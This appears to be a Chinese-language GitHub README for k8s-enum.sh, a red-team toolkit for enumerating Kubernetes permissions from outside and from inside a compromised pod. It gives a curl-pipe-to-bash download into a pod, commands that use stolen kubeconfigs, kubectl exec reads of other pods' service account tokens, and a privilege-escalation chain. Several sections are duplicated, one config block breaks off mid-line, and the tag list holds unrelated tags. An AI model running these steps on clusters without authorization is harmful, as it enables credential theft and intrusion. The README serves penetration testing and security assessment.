ahrixia/k8s-enum.sh
GitHub: ahrixia/k8s-enum.sh
一款基于 Bash 的 Kubernetes 枚举工具,支持外部与 Pod 内部场景,帮助红队快速识别权限提升与配置缺陷。
Stars: 13 | Forks: 0
# k8s-enum.sh
## 🎯 什么是 k8s-enum.sh?
**k8s-enum** 是一套用于渗透测试人员、红队成员和安全研究人员的 Kubernetes 安全枚举脚本。灵感来源于 [LinPEAS](https://github.com/carlospolop/PEASS-ng),这些工具提供全面的枚举功能,并使用彩色输出高亮显示权限提升向量和配置错误。
该工具包包含两个专用脚本:
- **`k8s-enum.sh`** - 使用 kubeconfig 文件进行外部枚举
- **`k8s-pod-enum.sh`** - 从被攻陷的 Pod 内部进行内部枚举
## 📦 包含的工具
### 1. k8s-enum.sh(外部枚举)
当你获取了 kubeconfig 文件或服务账户令牌,并希望从攻击机枚举集群时使用。
```
./k8s-enum.sh --profile
```
### 2. k8s-pod-enum.sh(Pod 内部枚举)
当你已攻陷一个容器/Pod,并希望从集群内部枚举 Kubernetes 访问权限时使用。
```
./k8s-pod-enum.sh
```
## 🚀 快速开始
### 外部枚举(使用 kubeconfig)
```
# Clone the repository
git clone https://github.com/ahrixia/k8s-enum.sh.git
cd k8s-enum
# Make executable
chmod +x k8s-enum.sh
# Run with your kubeconfig
./k8s-enum.sh --profile ./stolen-kubeconfig.yaml
# Enumerate specific namespace
./k8s-enum.sh --profile ./config.yaml --namespace kube-system
# Enumerate all namespaces
./k8s-enum.sh --profile ./config.yaml --all-ns
```
### 内部枚举(来自被攻陷的容器)
```
# Download directly into compromised pod
curl -O https://raw.githubusercontent.com/ahrixia/k8s-enum.sh/main/k8s-pod-enum.sh
chmod +x k8s-pod-enum.sh
./k8s-pod-enum.sh
# Or one-liner
curl -sL https://raw.githubusercontent.com/ahrixia/k8s-enum.sh/main/k8s-pod-enum.sh | bash
```
## ✨ 功能特性
### 彩色输出(LinPEAS 风格)
| 颜色 | 含义 |
|-------|---------|
| 🔴 **红色(加粗)** | CRITICAL - 立即可能的权限提升 |
| 🔴 **红色** | HIGH - 严重的安全发现 |
| 🟡 **黄色** | MEDIUM - 潜在的安全问题 |
| 🟢 **绿色** | LOW/INFO - 信息性发现 |
| 🔵 **青色** | 常规信息 |
### k8s-enum.sh 功能
- ✅ **权限枚举** - `auth can-i --list` 及其分析
- ✅ **危险权限检测** - 高亮 exec、secrets、impersonate、创建 Pod
- ✅ **命名空间枚举** - 列出所有可访问的命名空间
- ✅ **Pod 枚举** - 列出 Pod 及其服务账户信息
- ✅ **服务枚举** - 识别暴露的 NodePort/LoadBalancer 服务
- ✅ **密钥枚举** - 列出可访问的密钥
- ✅ **服务账户枚举** - 跨命名空间映射服务账户
- ✅ **CronJob 分析** - 识别具有特权服务账户的定时任务
- ✅ **RBAC 枚举** - 角色、集群角色、绑定
- ✅ **模拟检测** - 查找模拟目标
- ✅ **可操作建议** - 针对每个发现的“下一步操作”
### k8s-pod-enum.sh 功能
- ✅ **自动检测** 挂载的服务账户令牌
- ✅ **JWT 令牌解码** - 提取服务账户名称、命名空间、Pod 信息
- ✅ **无需 kubectl** - 回退到使用 curl 调用 API
- ✅ **容器逃逸向量** - 检查 docker.sock、主机挂载、能力
- ✅ **云元数据访问** - AWS/GCP/Azure IMDS 检查
- ✅ **网络枚举** - 接口、端口、内部服务
- ✅ **权限提升路径** - 识别权限提升机会
## 🔍 检查内容
### 权限分析
脚本会特别检查以下危险权限:
| 权限 | 风险级别 | 影响 |
|------------|------------|--------|
| `pods/exec create` | CRITICAL | 任意 Pod 中的远程代码执行 |
| `secrets get/list` | CRITICAL | 凭据提取 |
| `pods create` | CRITICAL | 通过特权 Pod 进行容器逃逸 |
| `serviceaccounts impersonate` | CRITICAL | 权限提升 |
| `rolebindings create` | CRITICAL | 自我权限提升 |
| `serviceaccounts/token create` | HIGH | 为其他服务账户生成令牌 |
| `cronjobs create` | HIGH | 持久化机制 |
| `daemonsets create` | HIGH | 集群范围代码执行 |
### 容器逃逸向量(Pod 内部)
- Docker 套接字(`/var/run/docker.sock`)
- 主机文件系统挂载(`/host`、`/hostfs`、`/rootfs`)
- 特权容器检测
- 主机命名空间访问(PID、网络、IPC)
- Linux 能力分析
- 云元数据服务访问
## 📸 截图
## 🛠️ 使用示例
### 场景 1:被盗的 kubeconfig
```
# You obtained a kubeconfig from a developer's laptop
./k8s-enum.sh --profile ./dev-kubeconfig.yaml
# Check what the service account can do
# If it finds impersonation, try:
kubectl --kubeconfig=./dev-kubeconfig.yaml auth can-i --list \
--as=system:serviceaccount:default:admin-sa
```
### 场景 2:被攻陷的 Pod
```
# Inside a compromised container
./k8s-pod-enum.sh
# If it finds pods/exec permission, pivot:
kubectl exec -it other-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
```
### 场景 3:权限提升链
```
# 1. Enumerate with low-priv SA
./k8s-enum.sh --profile ./low-priv.yaml
# 2. Find cronjob with higher-priv SA
kubectl get cronjob -o yaml | grep serviceAccount
# 3. Exec into cronjob pod, steal token
kubectl exec -it cronjob-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 4. Create new kubeconfig with stolen token
# 5. Re-enumerate with higher privileges
./k8s-enum.sh --profile ./high-priv.yaml
```
## 📋 命令参考
### k8s-enum.sh
| 参数 | 描述 |
|------|-------------|
| `--profile, -p` | kubeconfig 文件路径(必需) |
| `--namespace, -n` | 指定目标命名空间 |
| `--all-ns` | 枚举所有命名空间 |
| `--quick` | 跳过慢速检查(RBAC、模拟) |
| `--help, -h` | 显示帮助信息 |
### k8s-pod-enum.sh
| 参数 | 描述 |
|------|-------------|
| `--api-server, -a` | 覆盖 API 服务器 URL |
| `--help, -h` | 显示帮助信息 |
## 🔧 从令牌构建 Kubeconfig
当你提取了服务账户令牌,创建 kubeconfig:
```
apiVersion: v1
kind: Config
clusters:
- name: target-cluster
cluster:
server: https://:443
certificate-authority-data:
users:
- name: stolen-sa
user:
token:
contexts:
- name: attack-context
context:
cluster: target-cluster
user: stolen-sa
namespace:
current-context: attack-context
```
或使用单行命令:
```
kubectl config set-cluster k8s --server=https://:443 --certificate-authority=ca.crt
kubectl config set-credentials user --token=$(cat token)
kubectl config set-context ctx --cluster=k8s --user=user
kubectl config use-context ctx
```
这些工具是在 **K8s-RTA(Kubernetes 红队分析师)** 考试中开发并使用的。
## ⚠️ 免责声明
这些工具仅供**授权安全测试**使用。仅在你明确获得许可的系统上使用这些脚本。未经授权访问计算机系统是非法的。
作者不对这些工具的误用或造成的损害负责。
## 📄 许可证
本项目根据 MIT 许可证授权 - 详细信息请参见 [LICENSE](LICENSE) 文件。
用于渗透测试和红队操作的 Kubernetes 枚举工具
## 🎯 什么是 k8s-enum.sh?
**k8s-enum** 是一套用于渗透测试人员、红队成员和安全研究人员的 Kubernetes 安全枚举脚本。灵感来源于 [LinPEAS](https://github.com/carlospolop/PEASS-ng),这些工具提供全面的枚举功能,并使用彩色输出高亮显示权限提升向量和配置错误。
该工具包包含两个专用脚本:
- **`k8s-enum.sh`** - 使用 kubeconfig 文件进行外部枚举
- **`k8s-pod-enum.sh`** - 从被攻陷的 Pod 内部进行内部枚举
## 📦 包含的工具
### 1. k8s-enum.sh(外部枚举)
当你获取了 kubeconfig 文件或服务账户令牌,并希望从攻击机枚举集群时使用。
```
./k8s-enum.sh --profile
## 🛠️ 使用示例
### 场景 1:被盗的 kubeconfig
```
# You obtained a kubeconfig from a developer's laptop
./k8s-enum.sh --profile ./dev-kubeconfig.yaml
# Check what the service account can do
# If it finds impersonation, try:
kubectl --kubeconfig=./dev-kubeconfig.yaml auth can-i --list \
--as=system:serviceaccount:default:admin-sa
```
### 场景 2:被攻陷的 Pod
```
# Inside a compromised container
./k8s-pod-enum.sh
# If it finds pods/exec permission, pivot:
kubectl exec -it other-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
```
### 场景 3:权限提升链
```
# 1. Enumerate with low-priv SA
./k8s-enum.sh --profile ./low-priv.yaml
# 2. Find cronjob with higher-priv SA
kubectl get cronjob -o yaml | grep serviceAccount
# 3. Exec into cronjob pod, steal token
kubectl exec -it cronjob-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 4. Create new kubeconfig with stolen token
# 5. Re-enumerate with higher privileges
./k8s-enum.sh --profile ./high-priv.yaml
```
## 📋 命令参考
### k8s-enum.sh
| 参数 | 描述 |
|------|-------------|
| `--profile, -p` | kubeconfig 文件路径(必需) |
| `--namespace, -n` | 指定目标命名空间 |
| `--all-ns` | 枚举所有命名空间 |
| `--quick` | 跳过慢速检查(RBAC、模拟) |
| `--help, -h` | 显示帮助信息 |
### k8s-pod-enum.sh
| 参数 | 描述 |
|------|-------------|
| `--api-server, -a` | 覆盖 API 服务器 URL |
| `--help, -h` | 显示帮助信息 |
## 🔧 从令牌构建 Kubeconfig
当你提取了服务账户令牌,创建 kubeconfig:
```
apiVersion: v1
kind: Config
clusters:
- name: target-cluster
cluster:
server: https://如果你觉得有用,请给它一颗 ⭐!
标签:Bash, DevOps安全, kubeconfig, Pod枚举, Shell脚本, Web截图, 内部枚举, 协议分析, 反取证, 外部枚举, 子域名突变, 安全评估, 容器安全, 应用安全, 开源安全工具, 权限提升, 枚举工具, 红队操作, 逆向工程平台